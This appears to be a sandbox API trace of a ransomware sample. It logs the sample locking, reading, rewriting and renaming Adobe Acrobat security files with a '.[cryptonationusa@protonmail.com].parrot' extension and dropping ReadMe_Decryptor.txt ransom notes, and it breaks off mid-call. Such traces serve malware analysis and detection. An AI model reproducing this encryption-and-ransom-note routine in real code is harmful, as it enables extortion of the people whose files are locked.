[0045.381] SetLastError (dwErrCode=0x0) [0045.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0045.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0045.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0045.384] GetLastError () returned 0x0 [0045.384] SetLastError (dwErrCode=0x0) [0045.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0045.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.384] GetLastError () returned 0x0 [0045.384] SetLastError (dwErrCode=0x0) [0045.384] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.384] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0045.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0045.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x5fe980 [0045.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x5ff9c0 [0045.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe980 | out: hHeap=0x540000) returned 1 [0045.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7) returned 0x55bb88 [0045.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0045.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.390] GetLastError () returned 0x0 [0045.390] SetLastError (dwErrCode=0x0) [0045.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0045.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0045.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0045.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5ea660 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0045.391] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x6090e0 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x5ea660 [0045.391] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x562910 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x5eb458 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x28d4ec8 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d4ec8 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x601a00 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x601a00 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0045.392] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x62c998 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0045.392] WriteFile (in: hFile=0x318, lpBuffer=0x62c9a0*, nNumberOfBytesToWrite=0x1638, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x62c9a0*, lpNumberOfBytesWritten=0x18eed4*=0x1638, lpOverlapped=0x0) returned 1 [0045.392] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x62c998 | out: hHeap=0x540000) returned 1 [0045.393] UnlockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x162f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0045.393] CloseHandle (hObject=0x318) returned 1 [0045.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0045.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e) returned 0x28d5ba0 [0045.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0045.393] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0045.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5ba0 | out: hHeap=0x540000) returned 1 [0045.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0045.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ff9c0 | out: hHeap=0x540000) returned 1 [0045.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0045.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0045.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0045.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0045.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0045.481] GetFileType (hFile=0x148) returned 0x1 [0045.483] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0045.604] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0045.604] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.604] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.605] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.605] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.605] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda5adf20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xdefc97c0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x3a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", cAlternateFileName="48B764~1.CRL")) returned 1 [0045.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0045.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0045.605] lstrcmpW (lpString1="48B76449F3D5FEFA1133AA805E420F0FCA643651.crl", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\48b76449f3d5fefa1133aa805e420f0fca643651.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0045.606] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0x3a5 [0045.606] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4bd, nNumberOfBytesToLockHigh=0x0) returned 1 [0045.606] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0045.606] ReadFile (in: hFile=0x318, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0045.608] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0045.608] ReadFile (in: hFile=0x318, lpBuffer=0x3780040, nNumberOfBytesToRead=0x3a5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18ebe4*=0x3a5, lpOverlapped=0x0) returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0045.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0045.609] GetLastError () returned 0x0 [0045.609] SetLastError (dwErrCode=0x0) [0045.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0045.609] GetLastError () returned 0x0 [0045.609] SetLastError (dwErrCode=0x0) [0045.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.609] GetLastError () returned 0x0 [0045.609] SetLastError (dwErrCode=0x0) [0045.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3b0) returned 0x28d30d0 [0045.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5) returned 0x55bb88 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x750) returned 0x5f0780 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.610] GetLastError () returned 0x0 [0045.610] SetLastError (dwErrCode=0x0) [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5ea660 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0045.610] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0045.610] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x6090e0 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x5ea660 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d30d0 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x5eb458 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x28d4ec8 [0045.611] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0045.611] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5edba0 [0045.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d4ec8 | out: hHeap=0x540000) returned 1 [0045.612] WriteFile (in: hFile=0x318, lpBuffer=0x5edba0*, nNumberOfBytesToWrite=0x4c8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x5edba0*, lpNumberOfBytesWritten=0x18ebe4*=0x4c8, lpOverlapped=0x0) returned 1 [0045.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0045.612] UnlockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4bd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0045.612] CloseHandle (hObject=0x318) returned 1 [0045.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5ea660 [0045.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x17e) returned 0x5bbfc0 [0045.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea660 | out: hHeap=0x540000) returned 1 [0045.616] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\48b76449f3d5fefa1133aa805e420f0fca643651.crl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\48b76449f3d5fefa1133aa805e420f0fca643651.crl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0045.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0045.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0045.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0045.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559c58 [0045.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0045.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0045.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0045.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0045.620] GetFileType (hFile=0x318) returned 0x1 [0045.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0045.634] lstrcmpW (lpString1="A9B8213768ADC68AF64FCC6409E8BE414726687F.crl", lpString2="ReadMe_Decryptor.txt") returned -1 [0045.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\a9b8213768adc68af64fcc6409e8be414726687f.crl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0045.634] GetFileSize (in: hFile=0x318, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0x9347 [0045.634] LockFile (hFile=0x318, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x945f, nNumberOfBytesToLockHigh=0x0) returned 1 [0045.634] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 